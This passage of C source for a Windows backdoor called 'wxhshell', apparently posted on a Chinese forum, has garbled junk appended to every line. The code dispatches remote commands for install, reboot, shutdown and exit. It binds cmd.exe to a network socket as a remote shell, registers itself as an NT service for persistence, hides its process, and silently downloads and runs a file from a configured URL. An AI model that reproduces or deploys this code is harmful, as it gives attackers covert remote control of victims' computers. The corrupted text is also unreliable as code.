9~98v;Z1  
    switch(cmd[0]) { #D M%_HXDi  
  {Ak{ ct\t  
  // 帮助 t=syo->  
  case '?': { [T#5$J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rTYDa3  
    break; sc'QNhrW  
  } *t J+!1  
  // 安装 __r]@hY   
  case 'i': { |&B.YLx  
    if(Install()) T`KH7y|bv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YYU Di@K  
    else <jE6ye(R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ab`mID:  
    break; RFd.L@-]  
    } 'b#RfF,7H}  
  // 卸载 X{zg-k(@  
  case 'r': { T- ID{i  
    if(Uninstall()) ^_ <jg0V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #mwV66'H  
    else <6^MVaD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }MAQhXI^O|  
    break; ufAp 7m@ud  
    } B5h-JON]-  
  // 显示 wxhshell 所在路径 ^(y=DJ7  
  case 'p': { wJ@8-H 8}  
    char svExeFile[MAX_PATH]; q(<#7 spz  
    strcpy(svExeFile,"\n\r"); <ABN/nH  
      strcat(svExeFile,ExeFile); KD?~ hpg  
        send(wsh,svExeFile,strlen(svExeFile),0); `l,=iy$  
    break; 6}^0/ 76^,  
    } d2lOx|jt  
  // 重启 4<._)_m  
  case 'b': { oR (hL4Dc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v(D{_  
    if(Boot(REBOOT)) Au jvKQ(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HL$}Gh]q  
    else { hFl$u8KV  
    closesocket(wsh); U]j4Izq  
    ExitThread(0); su6x okt  
    } Jcf'Zw"\  
    break; {o"X8  
    } IPmSkK  
  // 关机 C{>@b:]p  
  case 'd': { It'hmwu#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #~?Q?"  
    if(Boot(SHUTDOWN)) g+Vfd(e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); su.hmc  
    else { 9Axk-c  
    closesocket(wsh); amq]&.M  
    ExitThread(0); ]:`q/iS&  
    } :q=u+h_  
    break; 02E-|p;  
    } "&?F 6Pi  
  // 获取shell 3Tze`Q 9  
  case 's': { y~'F9E!i  
    CmdShell(wsh); ppr95 Y]^  
    closesocket(wsh); 2KVMQH`B9  
    ExitThread(0); L4`bGZl55  
    break; pOP`n3m0  
  } kG_ K&,;@  
  // 退出 gX<"-,5jc  
  case 'x': { N: 'v^0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?8[,0l:|  
    CloseIt(wsh); +7n;Bsk _  
    break; ^$qr6+  
    } z-fP #.  
  // 离开 [uK*=K/v  
  case 'q': { kbzzage6L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IJHNb_Cku  
    closesocket(wsh); K  +n  
    WSACleanup(); 4cJ7W_ >i6  
    exit(1); Cj31>k1  
    break; ?B ; +,  
        } [of{~  
  } \Z9+U:n  
  } hZ NS$  
xc)A`(g  
  // 提示信息 1gk{|keh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K6<@DP+/  
} y1R53u`;L  
  } K{)N:|y%!$  
1}+lL)-!  
  return; 5&a4c"fU  
} M{I8b<hY  
[kwVxaI  
// shell模块句柄 k(1]!c4J0  
int CmdShell(SOCKET sock) m<L.H33'  
{ rT$J0"*=  
STARTUPINFO si; =9$hZ c  
ZeroMemory(&si,sizeof(si)); gwE#,OY*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WE\@ArY>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SK f9 yS#  
PROCESS_INFORMATION ProcessInfo; ut z.  
char cmdline[]="cmd"; =" Q5Z6W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lZoy(kdc  
  return 0; \.h!'nfF  
} y ,][  
#xL^S9P  
// 自身启动模式 >DX\^86x  
int StartFromService(void) q\wT[W31@  
{ t.wB\Kmt\  
typedef struct 1L722I @  
{ ,)%al76E  
  DWORD ExitStatus; ELoE-b)Cb  
  DWORD PebBaseAddress; o,l3j|1  
  DWORD AffinityMask; uk%C:4T  
  DWORD BasePriority; *Y !'3|T  
  ULONG UniqueProcessId; ;M{@|z[Nv  
  ULONG InheritedFromUniqueProcessId; j2O?]M  
}   PROCESS_BASIC_INFORMATION; 9x;CJhX  
} :U'aa  
PROCNTQSIP NtQueryInformationProcess; eytd@-7uX  
b37F;"G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H9'Y` -r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gBM6{48GF  
uNnx i  
  HANDLE             hProcess; L3[r7 b  
  PROCESS_BASIC_INFORMATION pbi; [/_M!&zz2  
H^y%Bi&^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mqL&bmT  
  if(NULL == hInst ) return 0; iW.4'9   
On%21L;JG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hc.r/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vk%[N>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I| j Gu9G  
g+>$_s  
  if (!NtQueryInformationProcess) return 0; ]pUf[^4  
,>(/}=Z.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i}SJ   
  if(!hProcess) return 0; y\-f{I  
Hkq""'Mx+w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ap|7./yg  
Qw>ftle  
  CloseHandle(hProcess); awP ']iE  
4o7(cP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  N7%iz+  
if(hProcess==NULL) return 0; ,\*PpcU  
<>3}<i<[&  
HMODULE hMod; Vgy}0pCl  
char procName[255]; E-Z6qZ^  
unsigned long cbNeeded; D)C^'/8q  
&8VB{S>r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yZ7aH|Q81B  
_@U?;73"5  
  CloseHandle(hProcess); ]Tmx;[D  
jSMvZJX3n  
if(strstr(procName,"services")) return 1; // 以服务启动 y&8' V\  
Rou$`<{H  
  return 0; // 注册表启动 EOqvu=$6  
} T\;7'  
kMD:~ V  
// 主模块 Q'?{_  
int StartWxhshell(LPSTR lpCmdLine) [UO?L2$&  
{ aH@Ux?-}  
  SOCKET wsl; s^5KFK1  
BOOL val=TRUE; r\6 "mU  
  int port=0; d=<"sHO  
  struct sockaddr_in door; &Xr@nt0H  
w74 )kIi  
  if(wscfg.ws_autoins) Install(); ^`0^|u=  
K_\fO|<k  
port=atoi(lpCmdLine); 7A7=~:l\G  
5Ym/'eT  
if(port<=0) port=wscfg.ws_port; [S{KGe:g  
$dr=M (&  
  WSADATA data;  ByP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  Fa  
$nR1AOm}.B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qmzg68  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h\+U+ ?u  
  door.sin_family = AF_INET; oK cgP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l2>ka~  
  door.sin_port = htons(port); _Wcr'*7  
"`pI! nj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vc}#Ok  
closesocket(wsl); wc #+ Yh6  
return 1; hh\\api  
} dz^l6<a"n  
1pe eecE  
  if(listen(wsl,2) == INVALID_SOCKET) { DPENYr  
closesocket(wsl); IyTL|W6  
return 1; t__UqCq~h  
} nCMv&{~  
  Wxhshell(wsl); A`E7V}~  
  WSACleanup(); qU!*QZ^y&  
*=]hc@  
return 0; (1.E9+MquU  
2&*r1NXBE  
} |\g=ua+h  
4] c.mDo[T  
// 以NT服务方式启动 =-#>NlB$w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D{h sa  
{ T;6 VI|\  
DWORD   status = 0; p(EV-^  
  DWORD   specificError = 0xfffffff; )vH6N_  
PoyY}Ra  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  QW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;{Cr+lqTJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r:h\{ DVf  
  serviceStatus.dwWin32ExitCode     = 0; OnO56,+S^  
  serviceStatus.dwServiceSpecificExitCode = 0; <~9z.v7  
  serviceStatus.dwCheckPoint       = 0; oj.f uJD  
  serviceStatus.dwWaitHint       = 0; D ==H{c1F  
U1pL `P1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  3*@ sp  
  if (hServiceStatusHandle==0) return; /P<K)a4GM  
Jb'l.xN  
status = GetLastError(); ZA4NVt.yN  
  if (status!=NO_ERROR) SrMg=a  
{ BMlnzi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lf+M +^l  
    serviceStatus.dwCheckPoint       = 0; md`PRZzj@  
    serviceStatus.dwWaitHint       = 0; 0(A(Vb5J.T  
    serviceStatus.dwWin32ExitCode     = status; Jv  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0!v+ +  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I[|5 DQ  
    return; rCGyr}(NC  
  } (_^pX  
YGy.39@31  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7P}&<;5zD  
  serviceStatus.dwCheckPoint       = 0; * b+ef  
  serviceStatus.dwWaitHint       = 0; Kk?P89=*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ia.95H;  
} 63b?-.!b  
r)$(>/[$  
// 处理NT服务事件,比如:启动、停止 U 00}jH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c"X`OB  
{ ^l\U6$3  
switch(fdwControl) &WW|! 6  
{ I;dc[m  
case SERVICE_CONTROL_STOP: )bc0 t]Fs  
  serviceStatus.dwWin32ExitCode = 0; H]@M00C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [}snKogp  
  serviceStatus.dwCheckPoint   = 0; kh3PEq   
  serviceStatus.dwWaitHint     = 0; _tE`W96J  
  { PprCz"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <"I#lib  
  } N}0-L$@SL  
  return; V:?exJg9  
case SERVICE_CONTROL_PAUSE: s;-(dQ{O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `TNW LD@Z  
  break; 8=;'kEU  
case SERVICE_CONTROL_CONTINUE: (<f`}, QxD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J!sIxwF  
  break; 'bN\8t\S  
case SERVICE_CONTROL_INTERROGATE: >;Er[Rywr  
  break; mSSDV0Pfn  
}; R +H0+omj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *QAcp` ;*  
} ,v;P@RL|g  
6 /8?:  
// 标准应用程序主函数 VUF^ r7e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PqFK*^)s  
{ }:UNL^e?  
]qZs^kQ  
// 获取操作系统版本 Y#3<w  
OsIsNt=GetOsVer(); E0XfM B]+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b(8#*S!U  
\W5fcxf  
  // 从命令行安装 .Y}~2n  
  if(strpbrk(lpCmdLine,"iI")) Install(); *g =ey?1S  
0pT?qsM2  
  // 下载执行文件 ^J,Zl`N  
if(wscfg.ws_downexe) { Kj| l]'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gzS6{570  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?[#nh@mI  
} X-$~j+YC  
{j%'EJ5  
if(!OsIsNt) {  Dh=?Hzw  
// 如果时win9x,隐藏进程并且设置为注册表启动 _U%a`%tU.  
HideProc(); @1_M's;  
StartWxhshell(lpCmdLine); ~Rx:X4|H  
} 1-`Il]@?8  
else pWY $aI  
  if(StartFromService()) 09jU 0x  
  // 以服务方式启动 p8CDFLuV  
  StartServiceCtrlDispatcher(DispatchTable); L F\4>(C2g  
else 37Z@a!#  
  // 普通方式启动 zS]8ma  
  StartWxhshell(lpCmdLine); "8{#R*p  
z;? 3 2K  
return 0; #*QnO\.  
}
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只看该作者 1 发表于: 2006-10-10
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